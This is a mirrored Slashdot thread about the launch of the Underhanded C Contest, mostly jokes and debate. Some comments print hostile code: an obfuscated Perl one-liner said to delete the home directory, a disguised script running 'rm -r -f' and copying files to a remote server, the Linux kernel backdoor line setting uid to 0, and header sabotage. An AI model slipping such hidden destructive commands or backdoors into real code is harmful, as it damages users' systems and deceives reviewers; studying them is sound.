Slashdot Mirror


The First Annual Underhanded C Contest

Xcott Craver writes "We have just announced a new annual contest, the Underhanded C Contest, to write clear, readable, innocent-looking C code that implements malicious behavior. The object is to hide evil functionality that survives visual inspection of the source. The prize is beer."

26 of 341 comments (clear)

  1. Comment removed by account_deleted · · Score: 5, Funny

    Comment removed based on user account deletion

  2. This will work by The+Original+Yama · · Score: 4, Funny

    People will do anything for beer! Who needs speech when you're gulping down a cold lager?

    1. Re:This will work by isny · · Score: 4, Funny

      Based on past experience, free beer is usually the first step toward free speech.

  3. in other words... by beta-guy · · Score: 4, Funny

    kill the brain cells that made innocent looking malicous code :P

  4. I think I might win by numbware · · Score: 4, Funny

    #include
    main()
    {
    printf("Hello World");
    }

    Seemingly harmless, right? Wrong. It's still in devlopment, but think about it. You should have to greet the world before you destroy it. :)

    --
    I'm going to go create my own technology news site, with blackjack and hookers. You know what? Forget the news site.
  5. Re: This year's challenge by ErichTheWebGuy · · Score: 4, Informative

    Any open-source steganography programs

    Why, yes! http://sourceforge.net/projects/steghide/

    --
    bash: rtfm: command not found
  6. Re:What are the legal ramifications of this? by anthony_dipierro · · Score: 4, Insightful

    The authorities start a contest such as this, an unsuspecting programmer submits a malicious program, and he or she is arrested and charged with a variety of computer crimes.

    What computer crimes would be broken?

    Frankly, I won't participate in this contest considering the current legal state of America.

    No, you won't participate because of yor current state of paranoia over the legal state of America.

  7. like this? by LiquidCoooled · · Score: 5, Funny

    #include stuff.h
    void main()
    {
    /* nothing / */ /* to see / * here */
    /* whats * / challenging / * about */
    /* this */ /* there / is no */ evil /*
    screensaver(); * function */ /* here
    anyone that thinks there is * / needs */
    /* their / * / eyes testing */ ();
    }

    585

    --
    liqbase :: faster than paper
    1. Re:like this? by Dun+Malg · · Score: 4, Funny

      Nice idea, but it doesn't look innoucuous. It looks like a trick. I think the contest is for code the equivalent of a razor blade in a nice looking apple, rather than a razor blade hidden in a pile of clearly marked rat poison.

      --
      If a job's not worth doing, it's not worth doing right.
  8. Attack the Compiler by LionKimbro · · Score: 4, Interesting

    Why attack the source code when you can instead attack the compiler?

    You need only attack the compiler, or the linker, or the interpreter.

  9. Here you go by titzandkunt · · Score: 5, Funny


    Just tuck it away in a commonly used header file, use touch to restore the last date/time of modification, and you're all set.

    #define void int

    Hours & hours of irritation & confusion!

    T&K.

    --
    Political language ... is designed to make lies sound truthful and murder respectable...
  10. Re:What are the legal ramifications of this? by bighoov · · Score: 5, Funny

    Can you even breathe in that tinfoil cocoon?

  11. Re:Seems a bit like those hacking contests by numbski · · Score: 5, Informative
    This is worse than the people that go around obfuscated perl. At least then you KNOW they're trying to hide something. I mean, you remember this?
    perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{~" -;;s;;$_;see'
    Don't run that. :P Unless you really don't like your home directory. I remember someone tore it down and dissected it, but the point is that if you can "hide it in broad daylight, then it is far more dangerous. :)

    I mean I could do something like this:

    # When do you want it done?
    $today="sudo";
    $yesterday="su -c";

    # Define our globals
    $superman="ls";
    $wonderwoman="rm"
    $batm an="cp";
    $aquaman="mv";

    #define some important flags
    $blows="-r";
    $maims="-p";
    $chunks="-f";
    $defeats="-s";

    #define some targets
    $your_mom="/";
    $your_dad="/usr";
    $your_ sister="~";
    $your_teacher="/bin";
    $hell="/dev/nu ll";
    $heaven="/dev/random";
    $skyhigh="nfs://myse rver/myhome";

    #....later, back at Superfriends Headquarters

    `$batman $blows $your_sister $skyhigh`;
    `$wonderwoman $blows $chunks $on $your_sister`;
    `$today $batman $and $your_mom $think $heaven $is $a $great $place $for $your_sister`;
    #Would you like to see the rest of the story?
    #print "Would you like to hear more? Please type your password to continue!";

    The superfriends save the day again.
    --

    Karma: Chameleon (mostly due to the fact that you come and go).

  12. Why? by simulacrum25 · · Score: 4, Insightful

    Hacking was never about malicious behaviour, it was about learning and understanding. Granted, much of what one learned could be applied in malicious ways, but that wasn't the goal. Coding contests whether they be geared towards obfuscation or speed are still learning endeavors.

    Who is behind this and what is their motivations? What will they do with the ideas submitted in this contest? In a day of professional computer hackers, this is not a contest to have.

    1. Re:Why? by Nf1nk · · Score: 5, Insightful

      To find subtley malicous code in an open source project, we first must know what it looks like. Having contests like these creates a sample base of dangerous code and clever tricks to read and learn from.
      It is sort of like the computer version of a bomb squad.

      --
      I used to have a cool sig, back when I cared
  13. Re:It's a bad idea by Catamaran · · Score: 4, Insightful
    C gives you just enough rope to hang yourself.

    Java gives you a polished floor on which you can slip and break your neck.

    C++ gives you a thermo-nuclear device.

    --
    Test 1 2 3 4
  14. Diebold Hiring the winner! by tvlinux · · Score: 4, Funny

    Help Wanted:
    Diebold needs new programmers. If you have what it takes to hide "winning" code in our election machines. Apply to Diebold Careers

  15. Subtlety by Dirtside · · Score: 5, Funny
    The prize is beer.
    ...but the beer is poisoned!
    --
    "Destroy science and religion. Science would re-emerge exactly the same; but not religion." - Penn Jillette, paraphrased
  16. An example from years ago by exp(pi*sqrt(163)) · · Score: 4, Interesting
    There was a bug in the Watcom compiler for DOS many years ago. As a bug report I sent them a piece of code something like:
    char *s = "Fortune coookie";
    int *p = (char *)s;
    for (i = 0; i<4; ++i) {
    putchar(((char *)p)[i]);
    }
    Looks innocent enough. But actually it actually printed an obscenity. There was a bug in the pointer addition code generated by the compiler so that even though (char *)p was a pointer to type char it still used sizeof(int) to index into the array and so it printed every 4th character. (And that explains why I used three o's.)
    --
    Doesn't it make you feel good to know that our freedoms are protected by politicans, lawyers and journalists.
  17. Some dude from Microsoft is gonna win... by swillden · · Score: 4, Funny

    He'll submit the source code to IE.

    --
    Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
  18. how's this? by spongman · · Score: 5, Funny

    int main () { WinExec ("iexplore.exe"); }

  19. Linux Kernel Backdoor Attempt by Johnny+Hardcore · · Score: 5, Informative

    This reminds me about the attempt at inserting a backdoor in the linux kernel to gain root access. If they found out who did this, maybe he should get the free beer? ;)

    The attempt was trying to insert

    if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

    inside a function. Note that (current->uid = 0) is not testing but rather sets the UID to zero (and the surrounding brackets avoid the GCC warning).

  20. So The Hard Part Is To by Master+of+Transhuman · · Score: 4, Funny

    "write clear, readable, innocent-looking C code", right?

    Wow, nobody's going to win this one.

    --
    Richard Steven Hack - This sig is TOO GODDAMN SHORT TO DO ANYTHING USEFUL WITH! MORONS!
  21. Obligatory simpsons paraphrase by Sentry21 · · Score: 4, Funny

    Programmer: 'Take this source code, but beware! It carries a terrible curse!'
    Judge: 'That's bad.'
    Programmer: 'But it's optimized for PowerPC!'
    Judge: 'That's good!'
    Programmer: 'PowerPC is also cursed.'
    Judge: 'That's bad.'
    Programmer: 'But you get your choice of operating systems!'
    Judge: 'That's good!'
    Programmer: 'The operating systems run on Intel.' *pause* 'That's bad.'
    Judge: 'Can I go now?'

  22. You're just not used to it. by Tyler+Durden · · Score: 4, Insightful
    Problems: difficult to compile

    A picky compiler is a blessing, not a curse. It's much easier to identify and fix compile errors than run-time errors.

    difficult to convert to better languages (thank you preprocessor)

    Meaningless troll.

    encourages obfuscation

    Unless the compiler is literally holding a gun to your head, this is meaningless. In C you have nearly limitless control to write your code the way you feel is clearest. If it came out obfuscated then you have nobody to blame but yourself.

    some constructs are clearly tacked on and/or poorly implemented (switch), arbitrary nonorthogonality (struct, parens and brace usage, pointer/array declaration), shitty strings.

    Tacked on? If you don't like the way constructs are set up then fine, that's your opinion. But if you read The C Programming Language you can tell that every single construct was scrutinized over for the proper balance of efficiency (why it makes sense to pass array parameters as pointers and structs as copies) and consistency (why data types are declared the way they are. Declaration and use of data is made to match.) Do you honestly believe the creators/first users of C, some of the greatest programmers who ever lived, really said, "Ahhh, fuck it. Let's just throw something together," when designing their own programming tools?

    Most people who don't like C are really just saying they don't like low-level programming because that's what it was designed for, and that's what it's perfect for. Too many newbie programmers get used to some modern, flash-in-the-pan, all-things-to-all-people languages and when they are faced with the challenges of low-level languages rashly conclude that it's the language's fault they're having problems.

    C is the perfect language for the job it was designed for. The same cannot be said for most more modern languages.

    --
    Happy people make bad consumers.
  23. Service Pack fixes it, but it's documented by edalytical · · Score: 4, Informative
    --
    Win a signed Stephen Carpenter ESP Guitar from the Deftones: http://def-tag.com/?r=0008781